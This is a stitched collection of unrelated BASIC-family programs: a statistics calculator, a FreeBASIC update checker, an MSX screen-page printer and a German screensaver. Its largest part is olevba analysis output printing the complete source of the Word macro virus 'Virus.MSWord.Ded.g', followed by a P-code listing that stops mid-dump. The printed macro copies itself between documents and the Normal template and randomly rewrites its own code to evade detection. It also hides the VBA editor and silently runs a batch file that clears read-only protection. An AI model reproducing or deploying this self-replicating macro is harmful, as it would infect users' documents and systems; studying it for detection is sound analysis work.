|
10 REM THIS PROGRAM COMPUTES THE MEAN, STANDARD
20 REM DEVIATION AND STANDARD ERROR FOR GROUPED DATA
30 LET A = 0
40 LET B = 0
50 LET C = 0
60 LET D = 0
70 PRINT "ENTER SAMPLE VALUE AND FREQUENCY";
80 INPUT X,F
90 IF F <= 0 THEN 170
100 LET A = A + 1
110 LET B = B + F
120 LET G = X*F
130 LET C = C + G
140 LET E = (X^2)*F
150 LET D = D + E
160 GOTO 70
170 LET H = C/B
180 LET I = SQR(D - (B*(H^2)))
190 LET J = I/SQR(B)
200 PRINT
210 PRINT "NUMBER OF SAMPLES ENTERED = ";A
220 PRINT "MEAN = ";H
230 PRINT "STANDARD DEVIATION = ";I
240 PRINT "STANDARD ERROR = ";J
250 PRINT
260 PRINT "TYPE 1 TO CONTINUE, 0 TO STOP"
270 INPUT L
280 IF L = 1 THEN 300
290 STOP
300 PRINT
310 GOTO 30
320 END
|
/'
Copyright (c) 2011, SavedCoder.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the
following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided with the distribution.
3. The origin of this software must not be misrepresented; you must not claim that you wrote the original software.
If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is
not required.
4. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
5. The name of the author may not be used to endorse or promote products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
'/
'To God be the glory.
Dim Shared As String response
Function data_callback Cdecl(ByVal buffer As UByte Ptr, ByVal size As Integer, ByVal nitems As Integer, ByVal outstream As Any Ptr) As Integer
'LibCurl calls this when there's data.
Dim As Integer bytes = size * nitems
'Save the data...
For a As Integer = 0 To bytes - 1
response += Chr(buffer[a])
Next
Return bytes
End Function
Sub checkthread
uc_thread_running = TRUE
Dim As Double lastcheck
'When did we last check for an update?
If FileExists(cfgpath + ".lastcheck") Then
Open cfgpath + ".lastcheck" For Input As #1
Input #1, lastcheck
Close
Else
'Never.
EndIf
Do
Select Case update_freq
Case 1: 'Every day.
If DateDiff("d", lastcheck, Now) >= 1 Then checkupdate: lastcheck = Now
Case 2: 'Once a week.
If DateDiff("w", lastcheck, Now) >= 1 Then checkupdate: lastcheck = Now
Case 3: 'Once a month
If DateDiff("m", lastcheck, Now) >= 1 Then checkupdate: lastcheck = Now
End Select
Sleep 1000
Loop While uc_thread_running
'Gotta remember when we last checked...
Open cfgpath + ".lastcheck" For Output As #1
Print #1, lastcheck
Close
End Sub
Sub checkupdate(manual As Integer = FALSE)
Dim As CURL Ptr curl
Dim As CURLcode res
curl = curl_easy_init
If curl = 0 Then Exit Sub
'Ask if there's an update...
curl_easy_setopt(curl, CURLOPT_URL, "http://nextcommander.sourceforge.net/updater/?version=" + VER_STR)
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, @data_callback)
response = "" '!"yes\r\n0.6.0.0\r\n590\r\nhttp://nextcommander.sourceforge.net/updater/?download=yes"
res = curl_easy_perform(curl)
curl_easy_cleanup(curl)
'Analyse response...
If Left(response, 3) = "yes" Then
Dim As Integer ret, a, b
Dim As String nvn, fsiz, dlurl
a = InStr(6, response, !"\r\n")
nvn = Mid(response, 6, a - 6)
b = InStr(a + 2, response, !"\r\n")
fsiz = Mid(response, a + 2, b - a - 2)
dlurl = Right(response, Len(response) - InStrRev(response, !"\r\n") - 1)
ret = MessageBox(NULL, "A new version (" + nvn + ") is available. Download now? (" + fsiz + " KB)", "NeXT Commander", MB_ICONINFORMATION Or MB_YESNO)
If ret = IDYES Then
ShellExecute(NULL, "open", dlurl, NULL, NULL, SW_SHOW)
EndIf
Else
If manual Then 'We don't need to bug the user when an AUTOMATIC check doesn't find a new version.
MessageBox(NULL, "You are using the latest version.", "NeXT Commander", MB_OK Or MB_ICONINFORMATION)
EndIf
EndIf
End Sub
|
100 DEFINTA-Z:DIM R2(2,1)
110 SCREEN10
120 SETPAGE0:R2(0,0)=VDP(2)
130 SETPAGE1:R2(0,1)=VDP(2)
140 SCREEN11
150 SETPAGE0:R2(1,0)=VDP(2)
160 SETPAGE1:R2(1,1)=VDP(2)
170 SCREEN12
180 SETPAGE0:R2(2,0)=VDP(2)
190 SETPAGE1:R2(2,1)=VDP(2)
200 SCREEN1:WIDTH32
210 FORS=0TO2:FORP=0TO1
220 PRINT "SCREEN";(S+10);" PAGE";P;"=&H";HEX$(R2(S,P))
230 NEXTP,S
|
'Bildschirmschoner
DIM t%(10000)
RANDOMIZE TIMER
CLS
INPUT "Wie soll der Text lauten?"; q$
SCREEN 12
LOCATE 2, 2
PRINT q$
a = LEN(q$) * 8
GET (7, 15)-(9 + a, 33), t%
x = 220: y = 140
PUT (x, y), t%, PSET
n = RND * 2 - 1
m = RND * 2 - 1
IF n * m = 0 THEN n = 1
CLS
DO
PUT (x, y), t%, PSET
x = x + n: y = y + m
IF x < 10 THEN n = RND * .5 + .5
IF x + a > 630 THEN n = -(RND * .5 + .5)
IF y < 10 THEN m = RND * .5 + .5
IF y > 455 THEN m = -(RND * .5 + .5)
LOOP WHILE INKEY$ = ""
|
olevba 0.60.1.dev3 on Python 3.8.10 - http://decalage.info/python/oletools
===============================================================================
FILE: Virus.MSWord.Ded.g
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: Virus.MSWord.Ded.g - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub _
Document_New()
End Sub
'36.40187
Private Sub _
Document_Close()
On Error GoTo skam
'38.20107
Options. _
VirusProtection = True
SWL
'63.31789
ABS99
'90.57298
skam:
'63.17424
End Sub
'2.26292
Private _
Sub SWL()
Application. _
ShowVisualBasicEditor = False
If _
Not ActiveDocument.VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
For I = 1 To NormalTemplate.VBProject.VBComponents(1). _
CodeModule.CountOfLines
d = _
NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(I, 1)
If _
Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
While _
Mid(d, Len(d) - 1, 2) = " _"
I _
= I + 1
d = _
Left(d, Len(d) - 1) & NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(I, 1)
Wend
'84.72455
d = _
e(d)
ActiveDocument. _
VBProject.VBComponents(1).CodeModule.InsertLines I * 2, d
End If
'36.34587
Next _
I
ActiveDocument. _
SaveAs AddToRecentFiles:=False
End If
'90.30988
End Sub
'27.52955
Private Sub ABS99()
'97.29667
If Not NormalTemplate. _
VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
f (NormalTemplate. _
FullName)
For _
I = 1 To ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
d _
= ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(I, 1)
If _
Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
While _
Mid(d, Len(d) - 1, 2) = " _"
I = I + 1
'74.23421
d = Left(d, Len(d) - _
1) & ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(I, 1)
Wend
'7.495034
d = _
e(d)
NormalTemplate. _
VBProject.VBComponents(1).CodeModule.InsertLines I * 2, d
End _
If
Next I
'47.13914
NormalTemplate.Save
'82.7899
End _
If
End _
Sub
Private Function e(aString) As _
String
aString = LTrim(aString)
'26.80438
aString = _
RTrim(aString)
If _
aString = "Sub " & "Vc()" Then
aString _
= "Sub " & "ViewVBCode()"
Else
'31.18372
If aString = "Sub " & "ViewVBCode()" Then
'45.09994
aString _
= "Sub " & "Vc()"
End If
'6.985104
End If
'92.54505
For I = 1 To _
Len(aString) - 1
If Mid(aString, I, 1) _
= "." Then
If Not Mid(aString, _
I - 1, 1) = Chr$(34) And Not Mid(aString, I + 1, 1) = Chr$(34) And Int(3 * Rnd) = 1 Then
If Not _
Mid(aString, I + 1, 1) = Chr$(34) Then
e _
= Left(aString, I - 1) & ". _" & Chr$(13) & Right(aString, Len(aString) - I)
For _
j = 1 To Int(15 * Rnd)
e = " " & _
e
Next j
'37.77427
Exit Function
'4.393273
End If
'20.96745
End _
If
Else
'53.82507
If Mid(aString, I, _
1) = " " And Int(3 * Rnd) = 1 And I > 1 Then
If Not Mid(aString, _
I + 1, 1) = Chr$(34) And Not Mid(aString, I - 1, 1) = Chr$(34) Then
e = Left(aString, I _
- 1) & " _" & Chr$(13) & Right(aString, Len(aString) - I)
For _
j = 1 To Int(15 * Rnd)
e = " " & _
e
Next j
'29.1052
Exit Function
'76.98775
End If
'17.76208
End If
'43.15423
End _
If
Next I
'41.63005
e _
= aString & Chr$(13) & "'" & (100 * Rnd)
Count _
= Int(15 * Rnd)
For _
j = 1 To Count
e _
= " " & e
Next j
'76.01295
End Function
'27.8411
Private _
Sub f(fName)
If GetAttr(fName) And vbReadOnly Then
'95.71298
Open Dir(fName) _
& ".bat" For Append As #1
Print _
#1, "Attrib " & "-r " & Chr$(34) & fName & Chr$(34)
Print _
#1, "del " & Chr$(34) & Dir(fName) & ".bat" & Chr$(34)
Close _
#1
shellResult = Shell(Dir(fName) & ".bat", vbHide)
'86.16203
End If
'27.48487
End _
Sub
Sub _
Vc()
For _
aDoc = 1 To Documents.Count
For I = _
1 To Documents(aDoc).VBProject.VBComponents(1).CodeModule.CountOfLines
Documents(aDoc).VBProject. _
VBComponents(1).CodeModule.DeleteLines 1
Next I
'49.3554
Next aDoc
'14.7068
For _
I = 1 To NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
NormalTemplate. _
VBProject.VBComponents(1).CodeModule.DeleteLines 1
Next I
'29.4584
Application.ShowVisualBasicEditor _
= True
End Sub
'0.3313601
-------------------------------------------------------------------------------
VBA MACRO VBA_P-code.txt
in file: VBA P-code - OLE stream: 'VBA P-code'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' Processing file: Virus.MSWord.Ded.g
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 10126 bytes
' Line #0:
' LineCont 0x0004 02 00 00 00
' FuncDefn (Private Sub Document_New())
' Line #1:
' Line #2:
' EndSub
' Line #3:
' QuoteRem 0x0000 0x0008 "36.40187"
' Line #4:
' LineCont 0x0004 02 00 00 00
' FuncDefn (Private Sub Document_Close())
' Line #5:
' Line #6:
' OnError skam
' Line #7:
' QuoteRem 0x0000 0x0008 "38.20107"
' Line #8:
' LineCont 0x0004 02 00 1D 00
' LitVarSpecial (True)
' Ld Options
' MemSt VirusProtection
' Line #9:
' Line #10:
' ArgsCall SWL 0x0000
' Line #11:
' QuoteRem 0x0000 0x0008 "63.31789"
' Line #12:
' ArgsCall ABS99 0x0000
' Line #13:
' QuoteRem 0x0000 0x0008 "90.57298"
' Line #14:
' Label skam
' Line #15:
' QuoteRem 0x0000 0x0008 "63.17424"
' Line #16:
' EndSub
' Line #17:
' QuoteRem 0x0000 0x0007 "2.26292"
' Line #18:
' LineCont 0x0004 01 00 00 00
' FuncDefn (Private Sub SWL())
' Line #19:
' Line #20:
' LineCont 0x0004 02 00 25 00
' LitVarSpecial (False)
' Ld Application
' MemSt ShowVisualBasicEditor
' Line #21:
' Line #22:
' LineCont 0x0004 01 00 00 00
' LitStr 0x000E "Document_Close"
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x03E8
' LitDI2 0x03E8
' LitVarSpecial (False)
' LitVarSpecial (False)
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd Find 0x0007
' Not
' IfBlock
' Line #23:
' Line #24:
' LineCont 0x0004 0E 00 06 00
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #25:
' Line #26:
' LineCont 0x0004 02 00 00 00
' Ld I
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St d
' Line #27:
' Line #28:
' LineCont 0x0004 01 00 00 00
' Ld d
' FnLen
' LitDI2 0x0000
' Gt
' Ld d
' LitStr 0x0001 " "
' Eq
' Not
' And
' Ld d
' LitStr 0x0002 " _"
' Eq
' Not
' And
' Ld d
' LitStr 0x0000 ""
' Eq
' Not
' And
' Ld d
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 "'"
' Eq
' Not
' And
' IfBlock
' Line #29:
' Line #30:
' LineCont 0x0004 01 00 00 00
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' LitDI2 0x0002
' ArgsLd Mid$ 0x0003
' LitStr 0x0002 " _"
' Eq
' While
' Line #31:
' Line #32:
' LineCont 0x0004 01 00 00 00
' Ld I
' LitDI2 0x0001
' Add
' St I
' Line #33:
' Line #34:
' LineCont 0x0004 02 00 00 00
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' ArgsLd LBound 0x0002
' Ld I
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' Concat
' St d
' Line #35:
' Line #36:
' Wend
' Line #37:
' QuoteRem 0x0000 0x0008 "84.72455"
' Line #38:
' LineCont 0x0004 02 00 00 00
' Ld d
' ArgsLd e 0x0001
' St d
' Line #39:
' Line #40:
' LineCont 0x0004 02 00 23 00
' Ld I
' LitDI2 0x0002
' Mul
' Ld d
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemCall InsertLines 0x0002
' Line #41:
' Line #42:
' EndIfBlock
' Line #43:
' QuoteRem 0x0000 0x0008 "36.34587"
' Line #44:
' LineCont 0x0004 01 00 00 00
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #45:
' Line #46:
' LineCont 0x0004 02 00 33 00
' LitVarSpecial (False)
' ParamNamed AddToRecentFiles
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' Line #47:
' Line #48:
' EndIfBlock
' Line #49:
' QuoteRem 0x0000 0x0008 "90.30988"
' Line #50:
' EndSub
' Line #51:
' QuoteRem 0x0000 0x0008 "27.52955"
' Line #52:
' FuncDefn (Private Sub ABS99())
' Line #53:
' QuoteRem 0x0000 0x0008 "97.29667"
' Line #54:
' LineCont 0x0004 04 00 06 00
' LitStr 0x000E "Document_Close"
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x03E8
' LitDI2 0x03E8
' LitVarSpecial (False)
' LitVarSpecial (False)
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd Find 0x0007
' Not
' IfBlock
' Line #55:
' Line #56:
' LineCont 0x0004 04 00 16 00
' Ld NormalTemplate
' MemLd FullName
' Paren
' ArgsCall False 0x0001
' Line #57:
' Line #58:
' LineCont 0x0004 01 00 00 00
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #59:
' Line #60:
' LineCont 0x0004 01 00 00 00
' Ld I
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St d
' Line #61:
' Line #62:
' LineCont 0x0004 01 00 00 00
' Ld d
' FnLen
' LitDI2 0x0000
' Gt
' Ld d
' LitStr 0x0001 " "
' Eq
' Not
' And
' Ld d
' LitStr 0x0002 " _"
' Eq
' Not
' And
' Ld d
' LitStr 0x0000 ""
' Eq
' Not
' And
' Ld d
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 "'"
' Eq
' Not
' And
' IfBlock
' Line #63:
' Line #64:
' LineCont 0x0004 01 00 00 00
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' LitDI2 0x0002
' ArgsLd Mid$ 0x0003
' LitStr 0x0002 " _"
' Eq
' While
' Line #65:
' Line #66:
' Ld I
' LitDI2 0x0001
' Add
' St I
' Line #67:
' QuoteRem 0x0000 0x0008 "74.23421"
' Line #68:
' LineCont 0x0004 0B 00 00 00
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' ArgsLd LBound 0x0002
' Ld I
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' Concat
' St d
' Line #69:
' Line #70:
' Wend
' Line #71:
' QuoteRem 0x0000 0x0008 "7.495034"
' Line #72:
' LineCont 0x0004 02 00 00 00
' Ld d
' ArgsLd e 0x0001
' St d
' Line #73:
' Line #74:
' LineCont 0x0004 02 00 00 00
' Ld I
' LitDI2 0x0002
' Mul
' Ld d
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemCall InsertLines 0x0002
' Line #75:
' Line #76:
' LineCont 0x0004 01 00 00 00
' EndIfBlock
' Line #77:
' Line #78:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #79:
' QuoteRem 0x0000 0x0008 "47.13914"
' Line #80:
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' Line #81:
' QuoteRem 0x0000 0x0007 "82.7899"
' Line #82:
' LineCont 0x0004 01 00 00 00
' EndIfBlock
' Line #83:
' Line #84:
' LineCont 0x0004 01 00 00 00
' EndSub
' Line #85:
' Line #86:
' LineCont 0x0004 07 00 00 00
' FuncDefn (Private Function e(aString, id_FFFE As String) As String)
' Line #87:
' Line #88:
' Ld aString
' ArgsLd LTrim 0x0001
' St aString
' Line #89:
' QuoteRem 0x0000 0x0008 "26.80438"
' Line #90:
' LineCont 0x0004 02 00 00 00
' Ld aString
' ArgsLd RTrim 0x0001
' St aString
' Line #91:
' Line #92:
' LineCont 0x0004 01 00 00 00
' Ld aString
' LitStr 0x0004 "Sub "
' LitStr 0x0004 "Vc()"
' Concat
' Eq
' IfBlock
' Line #93:
' Line #94:
' LineCont 0x0004 01 00 00 00
' LitStr 0x0004 "Sub "
' LitStr 0x000C "ViewVBCode()"
' Concat
' St aString
' Line #95:
' Line #96:
' ElseBlock
' Line #97:
' QuoteRem 0x0000 0x0008 "31.18372"
' Line #98:
' Ld aString
' LitStr 0x0004 "Sub "
' LitStr 0x000C "ViewVBCode()"
' Concat
' Eq
' IfBlock
' Line #99:
' QuoteRem 0x0000 0x0008 "45.09994"
' Line #100:
' LineCont 0x0004 01 00 00 00
' LitStr 0x0004 "Sub "
' LitStr 0x0004 "Vc()"
' Concat
' St aString
' Line #101:
' Line #102:
' EndIfBlock
' Line #103:
' QuoteRem 0x0000 0x0008 "6.985104"
' Line #104:
' EndIfBlock
' Line #105:
' QuoteRem 0x0000 0x0008 "92.54505"
' Line #106:
' LineCont 0x0004 05 00 00 00
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' Ld aString
' FnLen
' LitDI2 0x0001
' Sub
' For
' Line #107:
' Line #108:
' LineCont 0x0004 09 00 00 00
' Ld aString
' Ld I
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 "."
' Eq
' IfBlock
' Line #109:
' Line #110:
' LineCont 0x0004 06 00 00 00
' Ld aString
' Ld I
' LitDI2 0x0001
' Sub
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x0022
' ArgsLd Chr$ 0x0001
' Eq
' Not
' Ld aString
' Ld I
' LitDI2 0x0001
' Add
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x0022
' ArgsLd Chr$ 0x0001
' Eq
' Not
' And
' LitDI2 0x0003
' Ld Rnd
' Mul
' FnInt
' LitDI2 0x0001
' Eq
' And
' IfBlock
' Line #111:
' Line #112:
' LineCont 0x0004 02 00 00 00
' Ld aString
' Ld I
' LitDI2 0x0001
' Add
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x0022
' ArgsLd Chr$ 0x0001
' Eq
' Not
' IfBlock
' Line #113:
' Line #114:
' LineCont 0x0004 01 00 00 00
' Ld aString
' Ld I
' LitDI2 0x0001
' Sub
' ArgsLd LBound 0x0002
' LitStr 0x0003 ". _"
' Concat
' LitDI2 0x000D
' ArgsLd Chr$ 0x0001
' Concat
' Ld aString
' Ld aString
' FnLen
' Ld I
' Sub
' ArgsLd Right 0x0002
' Concat
' St e
' Line #115:
' Line #116:
' LineCont 0x0004 01 00 00 00
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x000F
' Ld Rnd
' Mul
' FnInt
' For
' Line #117:
' Line #118:
' LineCont 0x0004 04 00 00 00
' LitStr 0x0001 " "
' Ld e
' Concat
' St e
' Line #119:
' Line #120:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #121:
' QuoteRem 0x0000 0x0008 "37.77427"
' Line #122:
' ExitFunc
' Line #123:
' QuoteRem 0x0000 0x0008 "4.393273"
' Line #124:
' EndIfBlock
' Line #125:
' QuoteRem 0x0000 0x0008 "20.96745"
' Line #126:
' LineCont 0x0004 01 00 00 00
' EndIfBlock
' Line #127:
' Line #128:
' ElseBlock
' Line #129:
' QuoteRem 0x0000 0x0008 "53.82507"
' Line #130:
' LineCont 0x0004 07 00 00 00
' Ld aString
' Ld I
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 " "
' Eq
' LitDI2 0x0003
' Ld Rnd
' Mul
' FnInt
' LitDI2 0x0001
' Eq
' And
' Ld I
' LitDI2 0x0001
' Gt
' And
' IfBlock
' Line #131:
' Line #132:
' LineCont 0x0004 06 00 00 00
' Ld aString
' Ld I
' LitDI2 0x0001
' Add
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x0022
' ArgsLd Chr$ 0x0001
' Eq
' Not
' Ld aString
' Ld I
' LitDI2 0x0001
' Sub
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x0022
' ArgsLd Chr$ 0x0001
' Eq
' Not
' And
' IfBlock
' Line #133:
' Line #134:
' LineCont 0x0004 07 00 00 00
' Ld aString
' Ld I
' LitDI2 0x0001
' Sub
' ArgsLd LBound 0x0002
' LitStr 0x0002 " _"
' Concat
' LitDI2 0x000D
' ArgsLd Chr$ 0x0001
' Concat
' Ld aString
' Ld aString
' FnLen
' Ld I
' Sub
' ArgsLd Right 0x0002
' Concat
' St e
' Line #135:
' Line #136:
' LineCont 0x0004 01 00 00 00
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x000F
' Ld Rnd
' Mul
' FnInt
' For
' Line #137:
' Line #138:
' LineCont 0x0004 04 00 00 00
' LitStr 0x0001 " "
' Ld e
' Concat
' St e
' Line #139:
' Line #140:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #141:
' QuoteRem 0x0000 0x0007 "29.1052"
' Line #142:
' ExitFunc
' Line #143:
' QuoteRem 0x0000 0x0008 "76.98775"
' Line #144:
' EndIfBlock
' Line #145:
' QuoteRem 0x0000 0x0008 "17.76208"
' Line #146:
' EndIfBlock
' Line #147:
' QuoteRem 0x0000 0x0008 "43.15423"
' Line #148:
' LineCont 0x0004 01 00 00 00
' EndIfBlock
' Line #149:
' Line #150:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #151:
' QuoteRem 0x0000 0x0008 "41.63005"
' Line #152:
' LineCont 0x0004 01 00 00 00
' Ld aString
' LitDI2 0x000D
' ArgsLd Chr$ 0x0001
' Concat
' LitStr 0x0001 "'"
' Concat
' LitDI2 0x0064
' Ld Rnd
' Mul
' Paren
' Concat
' St e
' Line #153:
' Line #154:
' LineCont 0x0004 01 00 00 00
' LitDI2 0x000F
' Ld Rnd
' Mul
' FnInt
' St Count
' Line #155:
' Line #156:
' LineCont 0x0004 01 00 00 00
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' Ld Count
' For
' Line #157:
' Line #158:
' LineCont 0x0004 01 00 00 00
' LitStr 0x0001 " "
' Ld e
' Concat
' St e
' Line #159:
' Line #160:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #161:
' QuoteRem 0x0000 0x0008 "76.01295"
' Line #162:
' EndFunc
' Line #163:
' QuoteRem 0x0000 0x0007 "27.8411"
' Line #164:
' LineCont 0x0004 01 00 00 00
' FuncDefn (Private Sub False(fName))
' Line #165:
' Line #166:
' Ld fName
' ArgsLd GetAttr 0x0001
' Ld vbReadOnly
' And
' IfBlock
' Line #167:
' QuoteRem 0x0000 0x0008 "95.71298"
' Line #168:
' LineCont 0x0004 05 00 00 00
' Ld fName
' ArgsLd Dir 0x0001
' LitStr 0x0004 ".bat"
' Concat
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Append)
' Line #169:
' Line #170:
' LineCont 0x0004 01 00 00 00
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0007 "Attrib "
' LitStr 0x0003 "-r "
' Concat
' LitDI2 0x0022
' ArgsLd Chr$ 0x0001
' Concat
' Ld fName
' Concat
' LitDI2 0x0022
' ArgsLd Chr$ 0x0001
' Concat
' PrintItemNL
' Line #171:
' Line #172:
' LineCont 0x0004 01 00 00 00
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0004 "del "
' LitDI2 0x0022
' ArgsLd Chr$ 0x0001
' Concat
' Ld fName
' ArgsLd Dir 0x0001
' Concat
' LitStr 0x0004 ".bat"
' Concat
' LitDI2 0x0022
' ArgsLd Chr$ 0x0001
' Concat
' PrintItemNL
' Line #173:
' Line #174:
' LineCont 0x0004 01 00 00 00
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #175:
' Line #176:
' Ld fName
' ArgsLd Dir 0x0001
' LitStr 0x0004 ".bat"
' Concat
' Ld vbHide
' ArgsLd Shell 0x0002
' St shellResult
' Line #177:
' QuoteRem 0x0000 0x0008 "86.16203"
' Line #178:
' EndIfBlock
' Line #179:
' QuoteRem 0x0000 0x0008 "27.48487"
' Line #180:
' LineCont 0x0004 01 00 00 00
' EndSub
' Line #181:
' Line #182:
' LineCont 0x0004 01 00 00 00
' FuncDefn (Sub Vc())
' Line #183:
' Line #184:
' LineCont 0x0004 01 00 00 00
' StartForVariable
' Ld aDoc
' EndForVariable
' LitDI2 0x0001
' Ld Documents
' MemLd Count
' For
' Line #185:
' Line #186:
' LineCont 0x0004 03 00 00 00
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld aDoc
' ArgsLd Documents 0x0001
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #187:
' Line #188:
' LineCont 0x0004 07 00 06 00
' LitDI2 0x0001
' LitDI2 0x0001
' Ld aDoc
' ArgsLd Documents 0x0001
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0001
' Line #189:
' Line #190:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #191:
' QuoteRem 0x0000 0x0007 "49.3554"
' Line #192:
' StartForVariable
' Ld aDoc
' EndForVariable
' NextVar
' Line #193:
' QuoteRem 0x0000 0x0007 "14.7068"
' Line #194:
' LineCont 0x0004 01 00 00 00
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #195:
' Line #196:
' LineCont 0x0004 02 00 36 00
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0001
' Line #197:
' Line #198:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #199:
' QuoteRem 0x0000 0x0007 "29.4584"
' Line #200:
' LineCont 0x0004 03 00 00 00
